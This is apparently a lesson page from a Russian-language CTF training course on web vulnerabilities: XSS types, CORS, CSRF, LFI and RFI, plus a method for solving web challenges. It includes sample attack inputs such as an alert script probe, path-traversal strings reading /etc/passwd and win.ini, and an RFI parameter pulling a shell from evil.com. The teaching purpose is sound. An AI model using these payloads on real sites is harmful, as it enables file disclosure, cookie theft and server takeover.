🎥 Видеозапись этого урока, к сожалению, утеряна. Предлагаем посмотреть видеозапись этого же урока в прошлогоднем курсе в Telegram-канале, тред "Записи".
1. Введение: Где живет уязвимость? (DOM & BOM)
Чтобы понимать, как атаковать пользователей, нужно понимать среду, в которой исполняется JavaScript.
DOM (Document Object Model)
Проще говоря, DOM — это представление HTML-страницы в виде объекта, понятного для JavaScript. Это позволяет скриптам изменять содержимое страницы, стили и структуру "на лету".
Структура: Древовидная (html -> body -> div).
BOM (Browser Object Model)
Это объектная модель для управления самим браузером, а не содержимым страницы. Она хранит историю, информацию о экране, навигаторе и адресе.
Пример атаки: Использование
window.location.hrefдля принудительного редиректа пользователя на вредоносный сайт.
Важно: И DOM, и BOM хранятся и исполняются в браузере клиента.
2. XSS (Cross-Site Scripting)
XSS — это инъекция JavaScript-кода на страницу жертвы. Цель: выполнить произвольный код в браузере пользователя (украсть куки, перенаправить, выполнить действия от имени жертвы).
Разделяют три основных вида:
1. Stored XSS (Хранимая)
Самая опасная.
Механизм: Хакер отправляет скрипт на сервер (например, в комментарии или профиле), и сервер сохраняет его.
Результат: Любой пользователь, открывший зараженную страницу, автоматически выполнит вредоносный скрипт.
2. Reflected XSS (Отраженная)
Классика фишинга.
Механизм: Скрипт передается в параметрах URL (например, в поиске), сервер не сохраняет его, а сразу отображает ("отражает") обратно в ответе.
Вектор: Злоумышленник кидает жертве специально сформированную ссылку. Жертва переходит — скрипт выполняется.
3. DOM-based XSS
Механизм: Атака происходит исключительно на клиенте. Вредоносный код изменяет DOM-окружение жертвы (источник -> приемник), сервер может даже не видеть этого в логах.
Пример: Кража данных через
document.cookie.
3. Сетевое взаимодействие: CORS и CSRF
CORS (Cross-Origin Resource Sharing)
Браузеры по умолчанию запрещают одному сайту читать данные с другого (Same-Origin Policy).
Суть: CORS — это механизм, который разрешает загружать ресурсы с других доменов.
Как работает: Сервер отдает заголовок
Access-Control-Allow-Origin: domain.com. Если сервер настроен неверно (например, разрешает всем*), это дыра в безопасности.
CSRF (Cross-Site Request Forgery)
Подделка межсайтовых запросов. Часто используется, если не получается найти XSS, но нужно выполнить действие от имени админа.
Суть: Заставить браузер жертвы выполнить нежелательное действие на сайте, где жертва залогинена.
Сценарий: Вы поднимаете свой сервер/страницу, похожую на легитимную, и заманиваете туда жертву. При переходе скрытый скрипт отправляет запрос на целевой сайт (например, "сменить пароль"), используя активную сессию жертвы.
4. Файловые включения (LFI & RFI)
Уязвимости, возникающие из-за того, что сервер доверяет пользовательскому вводу при работе с файлами.
LFI (Local File Inclusion)
Описание: Позволяет злоумышленнику читать файлы, которые находятся локально на сервере.
Вектор: Обычно через GET-параметры (например,
?page=../../etc/passwd).Цель: Чтение конфигурационных файлов,
/etc/passwd, исходного кода сайта.
RFI (Remote File Inclusion)
Описание: Позволяет заставить сервер скачать и выполнить файл с удаленного (вашего) сервера.
Вектор: Передача URL в параметре:
?page=http://evil.com/shell.php.Результат: Полный захват сервера (RCE — Remote Code Execution).
5. Методология решения задач (Web Amateur)
Исследуйте ввод
Попробуйте ввести
<script>alert(1)</script>во все поля ввода. Если выскочило окошко — это Reflected/Stored XSS.Проверьте URL. Если видите
?page=about.htmlили?file=contact, попробуйте поменять на?page=/etc/passwd(Linux) или?page=c:\windows\win.ini(Windows). Это тест на LFI.
Анализируйте код (Source Code)
Нажмите
Ctrl+U. Ищите, где ваш ввод попадает в JS-код. Если ввод попадает вeval(),innerHTMLилиdocument.write— ищите DOM XSS.
Работа с заголовками
Смотрите в DevTools (Network). Если видите заголовки
Access-Control-Allow-Origin, проверьте настройки CORS.
Связка CSRF + XSS
Иногда, чтобы украсть куки админа, нужно создать страницу-ловушку (CSRF), которая эксплуатирует XSS на сайте админки.
6. Полезные материалы
PortSwigger (Web Security Academy):
Раздел XSS (Cross-site scripting) — лучшая теория и практика.
Раздел CSRF и CORS.
OWASP Cheat Sheets:
LFI/RFI Cheat Sheet — списки пейлоадов для включения файлов.
PayloadsAllTheThings (GitHub): Огромный сборник готовых векторов атак для XSS и LFI.